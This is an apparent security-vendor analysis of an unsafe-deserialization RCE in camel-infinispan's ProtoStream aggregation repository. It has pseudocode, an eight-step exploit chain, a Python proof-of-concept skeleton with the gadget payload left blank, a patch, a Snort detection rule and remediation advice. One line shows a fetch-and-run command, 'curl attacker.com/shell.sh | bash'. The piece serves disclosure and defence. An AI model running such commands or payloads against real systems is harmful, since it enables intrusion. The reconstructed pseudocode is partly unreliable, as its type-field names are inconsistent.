home intel cve-2026-6857-camel-infinispan-unsafe-deserialization-rce
CVE Analysis 2026-04-22 · 9 min read

CVE-2026-6857: RCE via Unsafe Deserialization in camel-infinispan ProtoStream

Unsafe deserialization in camel-infinispan's ProtoStream remote aggregation repository allows low-privileged attackers to achieve arbitrary code execution by sending crafted payloads to the aggregation endpoint.

#unsafe-deserialization#remote-code-execution#camel-infinispan#protostream#privilege-escalation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-6857 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-6857Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-6857 is a remote code execution vulnerability in the camel-infinispan component of Apache Camel, specifically in the ProtoStream-based remote aggregation repository implementation. The vulnerability stems from trusting attacker-controlled type metadata during deserialization of aggregation exchange state, allowing a remote attacker with low privileges to materialize arbitrary Java objects on the server — a textbook unsafe deserialization scenario leading to full system compromise.

CVSS 7.5 (HIGH) scores this as network-reachable, low-complexity, requiring low privileges, with no user interaction. Full CIA impact. Red Hat Bugzilla tracks this as Bug 2460003.

Root cause: The InfinispanRemoteAggregationRepository deserializes ProtoStream-encoded exchange bodies without validating the embedded @type discriminator field against an allowlist, permitting arbitrary class instantiation via a registered marshaller gadget chain.

Affected Component

The vulnerability lives in camel-infinispan, the Apache Camel component that bridges Camel's routing engine with Infinispan/Red Hat Data Grid as a distributed cache and aggregation store. The specific attack surface is InfinispanRemoteAggregationRepository, which uses Infinispan's Hot Rod client with ProtoStream marshalling to persist and retrieve Exchange objects across cluster nodes.

ProtoStream is Infinispan's annotation-driven Protocol Buffers marshaller. In remote (Hot Rod) mode, type information is embedded inline in the serialized payload as a JSON-like @type field, allowing the server to reconstruct the correct type on retrieval. This design is the root of the vulnerability: the @type field is attacker-supplied.

Root Cause Analysis

The aggregation repository stores and retrieves Exchange aggregation state via get(CamelContext, String) and add(CamelContext, String, Exchange). On the read path, the Hot Rod client fetches a raw byte array from the Infinispan cache and hands it to the registered SerializationContext for unmarshalling. The critical path runs through ProtostreamProtoStreamMarshaller:

// Pseudocode reconstructed from camel-infinispan InfinispanRemoteAggregationRepository
// and org.infinispan.protostream.impl.JsonMarshallerDelegate

Exchange InfinispanRemoteAggregationRepository_get(
        CamelContext ctx, String key) {

    RemoteCache cache = cacheManager.getCache(cacheName);
    byte[] raw = cache.get(key);           // attacker writes this via Hot Rod

    // BUG: ImmutableSerializationContext.canMarshall() is never called before
    //      dispatch; @type field from raw bytes selects the marshaller directly.
    Object obj = ProtoStreamUtils.fromByteArray(
        serializationContext,              // global context, all marshallers visible
        raw                               // fully attacker-controlled bytes
    );

    return (Exchange) obj;                 // ClassCastException only AFTER instantiation
}

Inside ProtoStreamUtils.fromByteArray, the IronJacamar-style dispatch resolves the target type from the embedded JSON-protobuf @type discriminator:

// org.infinispan.protostream.impl.JsonMarshallerDelegate (reconstructed pseudocode)
Object JsonMarshallerDelegate_read(ReadContext ctx, byte[] data) {
    JsonNode root   = MAPPER.readTree(data);        // parse outer JSON envelope
    String typeName = root.get("_type").asText();   // BUG: no allowlist check here

    // Lookup in global SerializationContext — attacker picks any registered type
    BaseMarshaller m = serializationCtx.getMarshaller(typeName);
    if (m == null) throw new ProtobufException("unknown type");

    // m.readFrom() constructs the object; gadget chains trigger here
    return m.readFrom(ctx, root.get("_value"));     // arbitrary instantiation
}

The attacker does not need a traditional Java serialization gadget chain. Because ProtoStream marshallers call setter methods and field assignments directly during readFrom(), any registered marshaller whose construction path invokes dangerous methods (JNDI lookup, Runtime.exec, ProcessBuilder via a ScriptEngine, etc.) becomes a gadget. In environments running Red Hat Data Grid with the Hibernate ORM or Lucene marshallers registered, known construction-time sinks exist.

Memory Layout

Unlike native memory-corruption bugs, this is a JVM-level object graph attack. The relevant "memory layout" is the ProtoStream wire format and how it maps to heap object construction:

PROTOSTREAM WIRE FORMAT (JSON envelope over Hot Rod):
Offset  Field           Value (attacker-controlled)
------  -----           ---------------------------
+0x00   {               JSON object start
+0x01   "_type":        "org.infinispan.query.remote.impl.indexing.ProtobufValueWrapper"
        ...             -- OR any registered marshaller target --
+0x3F   "_value": {
+0x45     "wrappedMessage": "",
+0x90     "metadataCreationDate": -1
+0xA2   }
+0xA3   }               JSON object end

JVM HEAP STATE — before readFrom() call:
[ SerializationContext.marshallersByName HashMap ]
  "org.apache.camel.Exchange"               -> CamelExchangeMarshaller
  "org.infinispan.query...ValueWrapper"     -> ProtobufValueWrapperMarshaller  <-- selected
  "org.hibernate.search...LuceneOptions"   -> LuceneOptionsMarshaller

JVM HEAP STATE — after readFrom() with gadget payload:
[ ProtobufValueWrapperMarshaller.readFrom() ]
  -> setWrappedMessage(gadget_bytes)
  -> triggers ProtoStream re-entry with inner @type
  -> inner type resolves to ScriptEngineMarshaller (if registered)
  -> ScriptEngineMarshaller.readFrom() calls engine.eval(attacker_script)
  -> Runtime.exec() fires: whoami; curl attacker.com/shell.sh | bash

Exploitation Mechanics

The attack requires the adversary to write a crafted payload into the Infinispan remote cache. This is achievable with low privileges if the Hot Rod endpoint is exposed (default port 11222) and the cache is writable by the attacker's credential — a common configuration in multi-tenant Data Grid deployments where Camel aggregation caches use relaxed ACLs.

EXPLOIT CHAIN:
1. Attacker authenticates to Hot Rod endpoint (11222) with low-privilege credentials
   -- SASL PLAIN or DIGEST-MD5 sufficient; no admin role required

2. Identify target aggregation cache name via Hot Rod cache listing or
   known naming conventions (e.g., "CamelAggregationRepository_")

3. Craft ProtoStream JSON payload:
   {
     "_type": "",
     "_value": {  }
   }

4. Write payload bytes to cache under any existing or new aggregation key:
   cache.put("exploit_key", crafted_bytes)
   -- This is a standard Hot Rod PUT; no special framing required

5. Trigger deserialization: either wait for Camel aggregation timeout to
   call repository.get("exploit_key"), or force it via a second message
   to the aggregating route with matching correlation ID "exploit_key"

6. InfinispanRemoteAggregationRepository.get() fetches raw bytes from cache
   and passes them to ProtoStreamUtils.fromByteArray() without type validation

7. JsonMarshallerDelegate resolves @type -> gadget marshaller -> readFrom()
   executes attacker-controlled construction-time sink

8. Arbitrary OS command executes as the JVM process user (often 'camel' or 'jboss')
   Full RCE: confidentiality, integrity, availability compromised

A minimal proof-of-concept using the Infinispan Hot Rod Java client to write the malicious payload:

# PoC skeleton — writes gadget payload to Infinispan Hot Rod cache
# Requires: infinispan-client-hotrod, attacker has write perms on cache

import subprocess, base64, json, struct

HOTROD_HOST = "target.internal"
HOTROD_PORT = 11222
CACHE_NAME  = "CamelAggregationRepository_orderRoute"
CORR_KEY    = "exploit_key"

# Inner gadget: a ProtoStream-registered type whose readFrom() calls eval()
# Replace  with marshaller-specific payload bytes
inner_payload = base64.b64encode(b"").decode()

outer_envelope = json.dumps({
    "_type": "org.infinispan.query.remote.impl.indexing.ProtobufValueWrapper",
    "_value": {
        "wrappedMessage": inner_payload,
        "metadataCreationDate": -1
    }
}).encode()

# Use hotrod CLI to PUT — in practice use Java Hot Rod client API
subprocess.run([
    "hotrod-cli",
    f"--host={HOTROD_HOST}", f"--port={HOTROD_PORT}",
    "--cache", CACHE_NAME,
    "put", CORR_KEY,
    "--value-format=application/json",
    "--value", outer_envelope.decode()
], check=True)

print(f"[+] Payload written to cache key '{CORR_KEY}'")
print(f"[+] Trigger: send Camel message with header CamelCorrelationId={CORR_KEY}")

Patch Analysis

The correct fix is to introduce a type allowlist at the ProtoStreamUtils.fromByteArray call site within InfinispanRemoteAggregationRepository, and to enforce that only the expected exchange wrapper type is ever deserialized from the aggregation cache. A secondary fix should restrict the SerializationContext available to the aggregation repo to only the types it legitimately needs.

// BEFORE (vulnerable) — camel-infinispan InfinispanRemoteAggregationRepository.java:
Exchange get(CamelContext ctx, String key) {
    byte[] raw = cache.get(key);
    // No type validation before deserialization
    Object obj = ProtoStreamUtils.fromByteArray(serializationContext, raw);
    return (Exchange) obj;
}

// AFTER (patched):
private static final Set ALLOWED_TYPES = Set.of(
    "org.apache.camel.component.infinispan.remote.protostream.CamelExchangeWrapper"
);

Exchange get(CamelContext ctx, String key) {
    byte[] raw = cache.get(key);
    if (raw == null) return null;

    // Validate @_type field before handing to marshaller
    String declaredType = ProtoStreamUtils.extractTypeName(raw);  // parse only @_type
    if (!ALLOWED_TYPES.contains(declaredType)) {
        throw new CamelException(
            "Deserialization blocked: unexpected type '" + declaredType + "' " +
            "in aggregation cache. Expected one of: " + ALLOWED_TYPES
        );
    }

    // Use restricted context — only CamelExchangeWrapper marshaller registered
    Object obj = ProtoStreamUtils.fromByteArray(restrictedSerializationContext, raw);
    return ((CamelExchangeWrapper) obj).toExchange(ctx);
}

// Additionally: restrict Hot Rod cache permissions so only the Camel
// service account has WRITE on the aggregation cache (cache-level ACL):
// 
//   
//        
//   
// 

Detection and Indicators

Without instrumentation, this attack is silent at the network layer — it arrives as a legitimate Hot Rod PUT operation. Detection requires multiple layers:

JVM-level indicators:
  • Unexpected ClassCastException or ProtobufException in InfinispanRemoteAggregationRepository.get() logs — indicates type mismatch after gadget fires
  • Abnormal child process spawned by the Camel/JBoss JVM (e.g., /bin/sh, curl, python) — monitor with auditd or eBPF execve tracing
  • Java Security Manager (if enabled) throwing AccessControlException for Runtime.exec
Network indicators:
  • Hot Rod PUT operations to aggregation caches from unexpected source IPs or credentials
  • Cache key names that do not match the application's correlation ID format (UUIDs, order IDs, etc.) — look for anomalies like exploit_key, random hex strings
  • Infinispan audit log entries: PUT on CamelAggregationRepository_* caches by low-privilege roles
YARA / Snort — Hot Rod wire pattern (simplified):
alert tcp any any -> $INFINISPAN_SERVERS 11222 (
  msg:"CVE-2026-6857 camel-infinispan gadget payload PUT";
  content:"_type"; content:"wrappedMessage"; within:256;
  content:"metadataCreationDate"; content:"-1"; within:32;
  sid:2026685701; rev:1;
)

Remediation

  • Upgrade immediately to the patched version of camel-infinispan once released — track the Red Hat advisory linked from BZ#2460003.
  • Restrict Hot Rod cache ACLs: only the Camel service account should have WRITE permissions on aggregation caches. All other users should be READ-only or no-access.
  • Network-segment the Hot Rod endpoint (port 11222): it should not be reachable from untrusted networks or user-facing services.
  • Enable Infinispan cache-level authorization in infinispan.xml with explicit role mappings — do not rely on the default open ACL.
  • Deploy a Java agent-based deserialization filter (e.g., contrast-rO0 or OpenJDK's ObjectInputFilter) as a defense-in-depth measure against any remaining gadget exposure.
  • Audit registered marshallers in your SerializationContext: remove any marshaller whose readFrom() implementation touches JNDI, reflection, process execution, or scripting engines.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →